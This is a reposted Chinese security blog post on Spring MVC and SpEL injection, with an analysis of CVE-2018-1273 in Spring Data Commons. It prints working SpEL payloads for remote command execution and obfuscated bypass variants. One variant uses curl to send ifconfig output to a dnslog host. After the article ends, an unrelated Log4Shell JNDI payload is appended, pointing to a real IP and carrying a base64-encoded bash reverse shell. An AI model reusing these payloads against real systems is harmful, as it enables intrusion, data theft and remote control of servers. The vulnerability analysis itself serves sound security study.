IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Java知识库 -> 代码审计-Spring框架安全 -> 正文阅读

[Java知识库]代码审计-Spring框架安全

Spring框架安全

作者:t4reega

1.1. Spring简介

Spring是目前Java应用最广泛的框架之一,是拥有着IoC和AOP的优秀机制的容器框架。

而Spring MVC,则是Spring提供给Web开发的框架设计。

1.2. Spring MVC实现逻辑

Spring MVC中,所有的请求都有DispatcherServlet来统一处理、分发。然后借助HandlerMapping定位到处理请求的控制器(Controller)。

Controller处理完成用户请求后,返回ModelAndView对象给DispatcherServlet。

逻辑实现图如下:

这个图想必比较直观了,从宏观角度来说,DispatcherServlet是整个Web的控制器,从微观角度来说,Controller是每次请求的控制器。

下面将从创建一个Spring MVC开始,熟悉Spring MVC的项目结构和代码逻辑。

1.3. Spring MVC项目

使用IDEA NEW一个Spring项目

并勾选 "Spring MVC"、"Web Application"

项目结构如下:

配置一个服务器,这里使用Tomcat

至此项目就算是配置完成了,启动Tomcat,访问index.jsp,效果如下。

1.4. Spring MVC应用

1.4.1. 1、Spring MVC App示例

创建一个包,在包中创建一个控制器TestController

在控制器中输入以下代码:

package?t4rrega.spring;

import?org.springframework.stereotype.Controller;

import?org.springframework.web.bind.annotation.RequestMapping;

@Controller

@RequestMapping("/test")

public?class?TestController?{

????@RequestMapping("/index")

????public?String?test(String input)?{

????????return?"/WEB-INF/t4rrega/test.jsp";

????}

}

该控制器通过RequestMapping对访问路径进行定义。

该注解用来处理请求地址的映射,可以用于类或方法。

用作类定义时,则表明以该地址作为父路径,如上图中的test()方法,如果需要从URL中访问到,路径为:?父路径+方法路径=/test/index

然后在相应的路径创建文件

修改dispatcher-servlet.xml文件,添加图示中的代码,其中component-scan,允许Spring MVC对包进行查找。

修改web.xml

修改url-pattern为"/"

Servlet-mapping不清楚的可以看我之前javaWeb的文章:JavaWeb上JavaWeb下

访问指定的路径,效果如下

1.4.2. 2、Spring MVC Model向View传递值

Model向View传递值,主要通过model.addAttribute将值添加到上下文中

之后可以通过model.addAttribute设置的第一个参数名进行获取值

这种方式与JavaWeb的域对象类似

修改TestController.java如下

package?t4rrega.spring;

import?org.springframework.stereotype.Controller;

import?org.springframework.ui.Model;

import?org.springframework.web.bind.annotation.RequestMapping;

@Controller

@RequestMapping("/test")

public?class?TestController?{

????@RequestMapping("/index")

????public?String?test(Model model)?{

????????model.addAttribute("id",?"t4rrega");

????????return?"/WEB-INF/t4rrega/test.jsp";

????}

}

通过${}获取引用值

效果如下

1.4.3. 3、Spring MVC 获取URL参数值

Spring MVC获取URL参数值非常简单,只需要在方法中写上需要获取的参数即可

如下的name

通过${}获取引用

效果如下

1.5. Spel简介

1.5.1. 1、Spel API

SpelExpressionParser类负责解析表达式,返回一个Expression对象

getValue()方法执行表达式,默认容器是spring本身的容器:ApplicationContext

1.5.2. 2、Spel Grammer

#{}

EL使用${},而Spel则是使用#{}作为定界符。所有在大括号内的内容都被认定为表达式。

示例:

?引用对象: #{person}

?引用对象属性: #{person.name}

?调用对象方法: #{person.toString()}

T()

T()运算符会调用作用域的方法和常量。

例如: T(java.lang.Runtime),会返回一个java.lang.Runtime对象

1.5.3. 3、Spel 定义

3.1 XML

"Calc"?class="org.spring.samples.Calc">

??"Calc"?value="#{T(java.lang.Runtime).getRuntime().exec("/system/Applications/Calculator.app/Contents/MacOS/Calculator")/>

3.2 注解

public?class?EmailSender?{

??// 这里比较特殊,如果获取属性名称,还可以使用${}

????@Value("${spring.mail.personname}")

????private?String personname;

????@Value("#{systemProperties['person.region'] }")???

????private?String Locale;

????//...

}

1.5.4. 4、Spel 用法

4.1 Class Expression

new

可以通过new在Spel中实例化对象,类需要通过全限定名进行访问。

表达式内容:

new java.lang.ProcessBuilder("/system/Applications/Calculator.app/Contents/MacOS/Calculator").start()

T()

表达式内容:

T(java.lang.Runtime).getRuntime().exec("/system/Applications/Calculator.app/Contents/MacOS/Calculator")

4.2 Bean Reference

如果已经配置上下文,则可以通过@从表中查找JavaBean

4.3 Variable Reference

通过EvaluationContext#setVariable()定义变量,可以在表达式中进行引用。

?引用变量: #variableName

?引用根对象: #root

?引用上下文对象: #this

如果把context的root object设置为一个对象时,在获取的时候可以省略root对象前缀

并且在执行表达式时,Spel会在内部使用反射从根对象中获取/设置属性值。

4.4 User defined function

用户可以在Spel中注册自定义方法,将该方法注册到StandardEvaluationContext#registerFunction()中

下面的EncodeUtils#Encode2Base64则是我自定义的方法

1.6. Spel注入

java在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了Spel的所有功能,在未过滤输入的情况下就可能造成任意命令执行。

结合上面的知识点,我们可以使用如下一些语句进行Spel注入。

1.6.1. 1、new对象

payload:

new java.lang.ProcessBuilder("/system/Applications/Calculator.app/Contents/MacOS/Calculator").start()

1.6.2. 2、反射

Payload:

this.getClass().forName("java.lang.Runtime").getRuntime().exec("/system/Applications/Calculator.app/Contents/MacOS/Calculator")

效果如下

1.6.3. 3、T()运算

payload:

T(java.lang.Runtime).getRuntime().exec("open -a Calculator.app")

一些常用的绕过payload:

1、String类动态生成字符

T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(111).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(112)))

当然concat(T(java.lang.Character).toString(xxx))也可以替换为new java.lang.String(new byte[]{xxx,xxx})

2、反射异变

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl test.ww4ply.dnslog.cn/`ifconfig '\n' '-'`"})}

1.7. Spel注入漏洞分析

主要分享两个最经典的Spel注入漏洞:

?Spring Data Commons

?Spring Data Rest

?Spring Security Oauth2

1.7.1. Spring Data Commons RCE(CVE-2018-1273)

影响版本:?Spring Data Commons <= 2.0.5.RELEASE

顺带一提一个比较好的习惯,当开源漏洞的补丁出来时,可以第一时间看看github上的代码与上个版本的差异,看一下开发者是如何修补漏洞的,因为很多著名的漏洞都是对补丁的二次绕过,例如Fastjson、Struts2、Weblogic。因此研究代码差异,不仅有助于我们更精准的定位、研究漏洞,更有可能成为下一个漏洞的突破口。

在github上,我们将2.0.6和2.0.5版本代码进行比对

由于是Spel注入漏洞,因此直接定位到了漏洞点MapDataBinder#setPropertyValue()

环境部署

可以直接在我的github上下载

https://github.com/t4rrega/spring-data-web-example.git

调试的方式启动jar包

java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y -jar spring-data-web-example-2.0.0.RELEASE.jar

配置IDEA远程调试环境

在MapDataBinder#setPropertyValue()处设置断点

debug启动项目

发送数据,触发断点(可以参考后文中的burpsuite数据包内容)

程序断在该方法中,该方法首先通过isWritableProperty()校验propertyName参数是否为Controller设置的Form映射对象中的成员变量,随后调用了parseExpression()来设置需要解析的表达式,最终通过expression.setValue()完成了对表达式的解析。

那么想要执行任意表达式,首选需要知道isWritableProperty()如何校验的参数。

跟入该方法

isWritableProperty()中调用了getPropertyPath()对propertyName进行了检测,如果该值不为null,则直接return

跟入getPropertyPath()方法

在getPropertyPath()方法中,只有两行,分别是:

?使用正则将包含方括号在内的特殊字符进行过滤

?判断剩下的值,是否为type里的属性

而type是Controller用于接收参数的类

因此整个绕过过程便是将这个类的某个字段加上[xxx]来构造恶意的Spel表达式即可实现Spel注入

还有一点需要注意:

Spring Data Commons 2.0.5版本中,添加了拒绝Spel表达式的关键语句。

所以需要使用反射的方式来构造最终payload

#this.getClass().forName("java.lang.Runtime").getRuntime().exec("open -a Calculator.app")

顺带一提,实例化MapDataBinder对象的位置在ProxyingHandlerMethodArgumentResolver

实例化后,并调用了bind方法,将request.getParameterMap()作为参数。也就是说这里就是漏洞原始的触发点

至于为什么ProxyingHandlerMethodArgumentResolver又被调用起来,可以查看一下官方文档,简单来说就是Form接口的问题

流程如上,过程比较简单,我们再来回顾一下补丁。

漏洞形成的原因就是当用户在开发中利用了Spring-data-commons中的特性对用户的输入参数进行自动匹配时候,会将用户提交的form表单中的参数名作为Spel表达式执行。

修复方式也主要是通过替换SimpleEvaluationContext为StandardEvaluationContext完成。

SimpleEvaluationContext的权限则小的多,只支持一些map结构,通用的jang.lang.Runtime,java.lang.ProcessBuilder都已经不再支持,详情可查看SimpleEvaluationContext的实现。

另外两个漏洞下回分解。

payload=${jndi:ldap://49.235.66.165:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252BJiAvZGV2L3RjcC80OS4yMzUuNjYuMTY1Lzg4ODggMD4mMQ%253D%253D}

  Java知识库 最新文章
计算距离春节还有多长时间
系统开发系列 之WebService(spring框架+ma
springBoot+Cache(自定义有效时间配置)
SpringBoot整合mybatis实现增删改查、分页查
spring教程
SpringBoot+Vue实现美食交流网站的设计与实
虚拟机内存结构以及虚拟机中销毁和新建对象
SpringMVC---原理
小李同学: Java如何按多个字段分组
打印票据--java
上一篇文章      下一篇文章      查看所有文章
加:2022-05-08 07:54:27  更:2022-05-08 07:58:41 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 23:39:02-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码